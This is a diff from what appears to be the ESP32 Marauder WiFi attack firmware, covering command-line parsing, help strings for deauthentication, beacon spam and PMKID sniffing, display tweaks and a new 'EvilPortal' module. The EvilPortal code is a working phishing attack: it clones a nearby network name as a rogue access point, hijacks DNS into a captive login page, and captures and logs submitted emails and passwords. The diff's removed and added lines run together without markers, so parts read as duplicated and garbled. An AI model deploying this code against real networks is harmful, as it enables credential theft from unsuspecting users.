Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#ifdef HAS_BT
Serial.println("Starting Bluetooth scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
#else
Serial.println("Bluetooth not supported");
#endif
wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
}
// Bluetooth CC Skimmer scan
else if (cmd_args.get(0) == BT_SKIM_CMD) {
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#ifdef HAS_BT
Serial.println("Starting Bluetooth CC Skimmer scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
#else
Serial.println("Bluetooth not supported");
#endif
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
}
// Update command
if (cmd_args.get(0) == UPDATE_CMD) {
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
// Update via OTA
if (w_sw != -1) {
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.currentScanMode = OTA_UPDATE;
//if (w_sw != -1) {
// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
//#endif
web_obj.setupOTAupdate();
}
// web_obj.setupOTAupdate();
//}
// Update via SD
else if (sd_sw != -1) {
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
if (sd_sw != -1) {
#ifdef HAS_SD
#ifndef WRITE_PACKETS_SERIAL
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
#else
Serial.println("SD card not initialized. Cannot perform SD Update");
#endif
#else
Serial.println("SD card support disabled. Cannot perform SD Update");
return;
#endif
}
}
}
int count_selected = 0;
//// WiFi aux commands
// List access points
if (cmd_args.get(0) == LIST_AP_CMD) {
int ap_sw = this->argSearch(&cmd_args, "-a");
int ss_sw = this->argSearch(&cmd_args, "-s");
int cl_sw = this->argSearch(&cmd_args, "-c");
// List APs
if (ap_sw != -1) {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected)
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
if (access_points->get(i).selected) {
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
count_selected += 1;
}
else
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
}
this->showCounts(count_selected);
}
// List SSIDs
else if (ss_sw != -1) {
for (int i = 0; i < ssids->size(); i++) {
if (ssids->get(i).selected)
if (ssids->get(i).selected) {
Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
count_selected += 1;
}
else
Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
}
this->showCounts(count_selected);
}
// List Stations
else if (cl_sw != -1) {
char sta_mac[] = "00:00:00:00:00:00";
for (int x = 0; x < access_points->size(); x++) {
Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
for (int i = 0; i < access_points->get(x).stations->size(); i++) {
wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
if (stations->get(access_points->get(x).stations->get(i)).selected) {
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
Serial.print(sta_mac);
Serial.println(" (selected)");
count_selected += 1;
}
else {
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
Serial.println(sta_mac);
}
}
}
this->showCounts(count_selected);
}
else {
Serial.println("You did not specify which list to show");
@@ -527,51 +862,118 @@ void CommandLine::runCommand(String input) {
// Get switches
int ap_sw = this->argSearch(&cmd_args, "-a");
int ss_sw = this->argSearch(&cmd_args, "-s");
int cl_sw = this->argSearch(&cmd_args, "-c");
int filter_sw = this->argSearch(&cmd_args, "-f");
count_selected = 0;
int count_unselected = 0;
// select Access points
if (ap_sw != -1) {
// Get list of indices
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
// Select ALL APs
if (cmd_args.get(ap_sw + 1) == "all") {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
// If the filters parameter was specified
if (filter_sw != -1) {
String filter_ap = cmd_args.get(filter_sw + 1);
this->filterAccessPoints(filter_ap);
} else {
// Get list of indices
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
// Select ALL APs
if (cmd_args.get(ap_sw + 1) == "all") {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = false;
access_points->set(i, new_ap);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = true;
access_points->set(i, new_ap);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
// Select specific APs
else {
// Mark APs as selected
for (int i = 0; i < ap_index.size(); i++) {
int index = ap_index.get(i).toInt();
if (!this->inRange(access_points->size(), index)) {
Serial.println("Index not in range: " + (String)index);
continue;
}
if (access_points->get(index).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = false;
access_points->set(index, new_ap);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = true;
access_points->set(index, new_ap);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
}
}
else if (cl_sw != -1) {
LinkedList<String> sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
// Select all Stations
if (cmd_args.get(cl_sw + 1) == "all") {
for (int i = 0; i < stations->size(); i++) {
if (stations->get(i).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = false;
access_points->set(i, new_ap);
Station new_sta = stations->get(i);
new_sta.selected = false;
stations->set(i, new_sta);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = true;
access_points->set(i, new_ap);
Station new_sta = stations->get(i);
new_sta.selected = true;
stations->set(i, new_sta);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
// Select specific APs
// Select specific Stations
else {
// Mark APs as selected
for (int i = 0; i < ap_index.size(); i++) {
int index = ap_index.get(i).toInt();
if (!this->inRange(access_points->size(), index)) {
// Mark Stations as selected
for (int i = 0; i < sta_index.size(); i++) {
int index = sta_index.get(i).toInt();
if (!this->inRange(stations->size(), index)) {
Serial.println("Index not in range: " + (String)index);
continue;
}
if (access_points->get(index).selected) {
if (stations->get(index).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = false;
access_points->set(index, new_ap);
Station new_sta = stations->get(index);
new_sta.selected = false;
stations->set(index, new_sta);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = true;
access_points->set(index, new_ap);
Station new_sta = stations->get(index);
new_sta.selected = true;
stations->set(index, new_sta);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
}
// select ssids
@@ -591,14 +993,17 @@ void CommandLine::runCommand(String input) {
ssid new_ssid = ssids->get(index);
new_ssid.selected = false;
ssids->set(index, new_ssid);
count_unselected += 1;
}
else {
// Select "unselected" ap
ssid new_ssid = ssids->get(index);
new_ssid.selected = true;
ssids->set(index, new_ssid);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
else {
Serial.println("You did not specify which list to select from");
@@ -642,4 +1047,41 @@ void CommandLine::runCommand(String input) {
return;
}
}
// Join WiFi
/*else if (cmd_args.get(0) == JOINWIFI_CMD) {
int n_sw = this->argSearch(&cmd_args, "-n"); // name
int a_sw = this->argSearch(&cmd_args, "-a"); // access point
int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
int p_sw = this->argSearch(&cmd_args, "-p");
String essid = "";
String pwx = "";
if (s_sw != -1) {
int index = cmd_args.get(s_sw + 1).toInt();
if (!this->inRange(ssids->size(), index)) {
Serial.println("Index not in range: " + (String)index);
return;
}
essid = ssids->get(index).essid;
} else if (a_sw != -1) {
int index = cmd_args.get(a_sw + 1).toInt();
if (!this->inRange(access_points->size(), index)) {
Serial.println("Index not in range: " + (String)index);
return;
}
essid = access_points->get(index).essid;
} else if (n_sw != -1) {
essid = cmd_args.get(n_sw + 1);
} else {
Serial.println("You must specify an access point or ssid");
return;
}
if (p_sw != -1) {
pwx = cmd_args.get(p_sw + 1);
}
Serial.println("Attempting to join WiFi with ssid " + (String)essid);
wifi_scan_obj.joinWiFi(essid, pwx);
}*/
}

View File

@@ -9,9 +9,12 @@
#endif
#include "WiFiScan.h"
#include "Web.h"
#include "SDInterface.h"
//#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "settings.h"
#include "LedInterface.h"
#ifdef HAS_SCREEN
extern MenuFunctions menu_function_obj;
@@ -19,12 +22,17 @@
#endif
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
extern SDInterface sd_obj;
//extern Web web_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
extern Settings settings_obj;
extern LedInterface led_obj;
extern LinkedList<AccessPoint>* access_points;
extern LinkedList<ssid>* ssids;
extern LinkedList<Station>* stations;
extern const String PROGMEM version_number;
extern const String PROGMEM board_target;
//// Commands
@@ -35,9 +43,16 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
const char PROGMEM UPDATE_CMD[] = "update";
const char PROGMEM HELP_CMD[] = "help";
const char PROGMEM SETTINGS_CMD[] = "settings";
const char PROGMEM LS_CMD[] = "ls";
const char PROGMEM LED_CMD[] = "led";
const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
const char PROGMEM GPS_CMD[] = "gps";
// WiFi sniff/scan
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
const char PROGMEM SCANAP_CMD[] = "scanap";
const char PROGMEM SCANSTA_CMD[] = "scansta";
const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
@@ -46,6 +61,7 @@ const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
const char PROGMEM STOPSCAN_CMD[] = "stopscan";
const char PROGMEM WARDRIVE_CMD[] = "wardrive";
// WiFi attack
const char PROGMEM ATTACK_CMD[] = "attack";
@@ -68,32 +84,38 @@ const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
// Admin
const char PROGMEM HELP_HEAD[] = "============ Commands ============";
const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a";
const char PROGMEM HELP_CLEARAP_CMD_B[] = "clearlist -s";
const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s";
const char PROGMEM HELP_UPDATE_CMD_B[] = "update -w";
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
const char PROGMEM HELP_GPS_CMD[] = "gps [-g] <fix/sat/lon/lat/alt/date>";
// WiFi sniff/scan
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive";
// WiFi attack
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-s <src mac>] [-d <dst mac>]/probe/rickroll>";
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
// WiFi Aux
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
const char PROGMEM HELP_SEL_CMD_A[] = "select -a <index (comma separated)>";
const char PROGMEM HELP_SEL_CMD_B[] = "select -s <index (comma separated)>";
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
@@ -107,11 +129,14 @@ class CommandLine {
private:
String getSerialInput();
LinkedList<String> parseCommand(String input, char* delim);
String toLowerCase(String str);
void filterAccessPoints(String filter);
void runCommand(String input);
bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
bool inRange(int max, int index);
bool apSelected();
bool hasSSIDs();
void showCounts(int selected, int unselected = -1);
int argSearch(LinkedList<String>* cmd_args, String key);
const char* ascii_art =

View File

@@ -20,11 +20,17 @@ void Display::RunSetup()
#endif
tft.init();
tft.setRotation(0); // Portrait
#ifndef MARAUDER_M5STICKC
tft.setRotation(0); // Portrait
#endif
#ifdef MARAUDER_M5STICKC
tft.setRotation(3);
#endif
tft.setCursor(0, 0);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
#ifdef TFT_SHIELD
uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
@@ -313,7 +319,7 @@ void Display::displayBuffer(bool do_clear)
void Display::showCenterText(String text, int y)
{
tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
tft.println(text);
}
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
//Serial.println(" tfa: " + (String)tfa);
//Serial.println(" bfa: " + (String)bfa);
//Serial.println("yStart: " + (String)this->yStart);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
tft.writedata(tfa >> 8); // Top Fixed Area line count
tft.writedata(tfa);
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
void Display::scrollAddress(uint16_t vsp) {
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
tft.writedata(vsp>>8);
tft.writedata(vsp);
@@ -421,7 +427,7 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
// the filename can be a String or character array type:
//boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
if (decoded) {
// print information about the image to the serial port
@@ -435,13 +441,13 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
//}
}
void Display::setupDraw() {
/*void Display::setupDraw() {
this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
}
}*/
uint16_t xlast;
/*uint16_t xlast;
uint16_t ylast;
uint32_t AH;
void Display::drawStylus()
@@ -507,7 +513,7 @@ void Display::drawStylus()
xlast = 0;
ylast = 0;
}
}
}*/
//====================================================================================
// Decode and render the Jpeg image onto the TFT screen
@@ -745,20 +751,20 @@ void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
void Display::updateBanner(String msg)
{
this->img.deleteSprite();
//this->img.deleteSprite();
this->img.setColorDepth(8);
//this->img.setColorDepth(8);
this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
//this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
this->buildBanner(msg, current_banner_pos);
this->img.pushSprite(0, STATUS_BAR_WIDTH);
//this->img.pushSprite(0, STATUS_BAR_WIDTH);
current_banner_pos--;
//current_banner_pos--;
if (current_banner_pos <= 0)
current_banner_pos = SCREEN_WIDTH + 2;
//if (current_banner_pos <= 0)
// current_banner_pos = SCREEN_WIDTH + 2;
}
@@ -766,6 +772,13 @@ void Display::buildBanner(String msg, int xpos)
{
int h = TEXT_HEIGHT;
this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
this->tft.setFreeFont(NULL); // Font 4 selected
this->tft.setTextSize(BANNER_TEXT_SIZE); // Font size scaling is x1
this->tft.setTextColor(TFT_WHITE, TFT_BLACK); // Black text, no background colour
this->showCenterText(msg, STATUS_BAR_WIDTH);
/*
// We could just use fillSprite(color) but lets be a bit more creative...
// Fill with rainbow stripes
@@ -787,6 +800,7 @@ void Display::buildBanner(String msg, int xpos)
img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
img.print(msg);
*/
}
void Display::main(uint8_t scan_mode)

View File

@@ -8,12 +8,10 @@
#include <FS.h>
#include <functional>
#include <JPEGDecoder.h>
//#include <SimpleList.h>
#include <LinkedList.h>
#include <SPI.h>
#include <lvgl.h>
#include <Ticker.h>
//#include <M5Stack.h>
#include "SPIFFS.h"
#include "Assets.h"
@@ -39,23 +37,6 @@
#define LV_ADD_SSID 14
#define WIFI_ATTACK_BEACON_LIST 15
/*
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
PROGMEM static lv_disp_buf_t disp_buf;
PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
// lvgl stuff
PROGMEM static lv_obj_t *kb;
*/
// #define KIT
// #define TFT_DIY
class Display
{
private:
@@ -76,16 +57,9 @@ class Display
void scrollScreenBuffer(bool down = false);
#endif
//void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
//void changeMenu(Menu* menu);
//void showMenuList(Menu* menu, int layer);
//static void lv_tick_handler();
public:
Display();
//Ticker tick;
TFT_eSPI tft = TFT_eSPI();
TFT_eSprite img = TFT_eSprite(&tft);
TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
const String PROGMEM version_number = MARAUDER_VERSION;
@@ -95,15 +69,9 @@ class Display
bool draw_tft = false;
bool exit_draw = false;
int TOP_FIXED_AREA_2 = 48;
int print_delay_1, print_delay_2 = 10;
int current_banner_pos = SCREEN_WIDTH;
//Menu* current_menu;
//Menu mainMenu;
//Menu wifiMenu;
//Menu bluetoothMenu;
uint8_t TOP_FIXED_AREA_2 = 48;
uint8_t print_delay_1, print_delay_2 = 10;
uint8_t current_banner_pos = SCREEN_WIDTH;
LinkedList<String>* display_buffer;
@@ -127,9 +95,6 @@ class Display
// We can speed up scrolling of short text lines by just blanking the character we drew
int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
//void initLVGL();
//void deinitLVGL();
//void joinWiFiGFX();
void tftDrawRedOnOffButton();
void tftDrawGreenOnOffButton();
void tftDrawGraphObjects(byte x_scale);
@@ -143,8 +108,6 @@ class Display
void clearScreen();
void displayBuffer(bool do_clear = false);
void drawJpeg(const char *filename, int xpos, int ypos);
void setupDraw();
void drawStylus();
void getTouchWhileFunction(bool pressed);
void initScrollValues(bool tte = false);
void jpegInfo();

View File

@@ -0,0 +1,310 @@
#include "EvilPortal.h"
AsyncWebServer server(80);
EvilPortal::EvilPortal() {
this->runServer = false;
this->name_received = false;
this->password_received = false;
this->has_html = false;
this->has_ap = false;
}
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
if (!this->setAP(ssids, access_points))
return false;
if (!this->setHtml())
return false;
startPortal();
return true;
}
String EvilPortal::get_user_name() {
return this->user_name;
}
String EvilPortal::get_password() {
return this->password;
}
void EvilPortal::setupServer() {
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
request->send_P(200, "text/html", index_html);
Serial.println("client connected");
#ifdef HAS_SCREEN
this->sendToDisplay("Client connected to server");
#endif
});
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
String inputMessage;
String inputParam;
if (request->hasParam("email")) {
inputMessage = request->getParam("email")->value();
inputParam = "email";
this->user_name = inputMessage;
this->name_received = true;
}
if (request->hasParam("password")) {
inputMessage = request->getParam("password")->value();
inputParam = "password";
this->password = inputMessage;
this->password_received = true;
}
request->send(
200, "text/html",
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
});
Serial.println("web server up");
}
bool EvilPortal::setHtml() {
Serial.println("Setting HTML...");
#ifndef WRITE_PACKETS_SERIAL
File html_file = sd_obj.getFile("/index.html");
if (!html_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /index.html.");
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /index.html. Use stopscan...");
return false;
}
else {
if (html_file.size() > MAX_HTML_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given HTML is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
return false;
}
String html = "";
while (html_file.available()) {
char c = html_file.read();
if (isPrintable(c))
html.concat(c);
}
strncpy(index_html, html.c_str(), strlen(html.c_str()));
this->has_html = true;
Serial.println("html set");
html_file.close();
return true;
}
#else
return false;
#endif
}
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
// See if there are selected APs first
String ap_config = "";
String temp_ap_name = "";
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
temp_ap_name = access_points->get(i).essid;
break;
}
}
// If there are no SSIDs and there are no APs selected, pull from file
// This means the file is last resort
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
#ifndef WRITE_PACKETS_SERIAL
File ap_config_file = sd_obj.getFile("/ap.config.txt");
// Could not open config file. return false
if (!ap_config_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /ap.config.txt.");
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /ap.config.txt. Use stopscan...");
return false;
}
// Config file good. Proceed
else {
// ap name too long. return false
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
// AP name length good. Read from file into var
while (ap_config_file.available()) {
char c = ap_config_file.read();
Serial.print(c);
if (isPrintable(c)) {
ap_config.concat(c);
}
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from config file");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from config file: " + ap_config);
ap_config_file.close();
}
#else
return false;
#endif
}
// There are SSIDs in the list but there could also be an AP selected
// Priority is SSID list before AP selected and config file
else if (ssids->size() > 0) {
ap_config = ssids->get(0).essid;
if (ap_config.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from SSID list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from SSID list: " + ap_config);
}
else if (temp_ap_name != "") {
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
}
else {
ap_config = temp_ap_name;
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from AP list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from AP list: " + ap_config);
}
}
else {
Serial.println("Could not configure Access Point. Use stopscan...");
#ifdef HAS_SCREEN
this->sendToDisplay("Could not configure Access Point.");
this->sendToDisplay("Touch to exit...");
#endif
}
if (ap_config != "") {
strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
this->has_ap = true;
Serial.println("ap config set");
return true;
}
else
return false;
}
void EvilPortal::startAP() {
Serial.print("starting ap ");
Serial.println(apName);
WiFi.mode(WIFI_AP);
WiFi.softAP(apName);
#ifdef HAS_SCREEN
this->sendToDisplay("AP started");
#endif
Serial.print("ap ip address: ");
Serial.println(WiFi.softAPIP());
this->setupServer();
this->dnsServer.start(53, "*", WiFi.softAPIP());
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
server.begin();
#ifdef HAS_SCREEN
this->sendToDisplay("Evil Portal READY");
#endif
}
void EvilPortal::startPortal() {
// wait for flipper input to get config index
this->startAP();
this->runServer = true;
}
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
len = str.length(); // Obtain the length of the string
buf = new uint8_t[len]; // Dynamically allocate the buffer
// Copy each character from the string to the buffer
for (uint32_t i = 0; i < len; i++) {
buf[i] = static_cast<uint8_t>(str.charAt(i));
}
}
void EvilPortal::addLog(String log, int len) {
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
if (save_packet) {
uint8_t* logBuffer = nullptr;
uint32_t logLength = 0;
this->convertStringToUint8Array(log, logBuffer, logLength);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.addPacket(logBuffer, logLength, true);
delete[] logBuffer;
#elif defined(HAS_SD)
sd_obj.addPacket(logBuffer, logLength, true);
delete[] logBuffer;
#else
delete[] logBuffer;
return;
#endif
}
}
void EvilPortal::sendToDisplay(String msg) {
#ifdef HAS_SCREEN
String display_string = "";
display_string.concat(msg);
int temp_len = display_string.length();
for (int i = 0; i < 40 - temp_len; i++)
{
display_string.concat(" ");
}
display_obj.loading = true;
display_obj.display_buffer->add(display_string);
display_obj.loading = false;
#endif
}
void EvilPortal::main(uint8_t scan_mode) {
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
this->dnsServer.processNextRequest();
if (this->name_received && this->password_received) {
this->name_received = false;
this->password_received = false;
String logValue1 =
"u: " + this->user_name;
String logValue2 = "p: " + this->password;
String full_string = logValue1 + " " + logValue2 + "\n";
Serial.print(full_string);
this->addLog(full_string, full_string.length());
#ifdef HAS_SCREEN
this->sendToDisplay(full_string);
#endif
}
}
}

110
esp32_marauder/EvilPortal.h Normal file
View File

@@ -0,0 +1,110 @@
#ifndef EvilPortal_h
#define EvilPortal_h
#include "ESPAsyncWebServer.h"
#include <AsyncTCP.h>
#include <DNSServer.h>
#include "configs.h"
#include "settings.h"
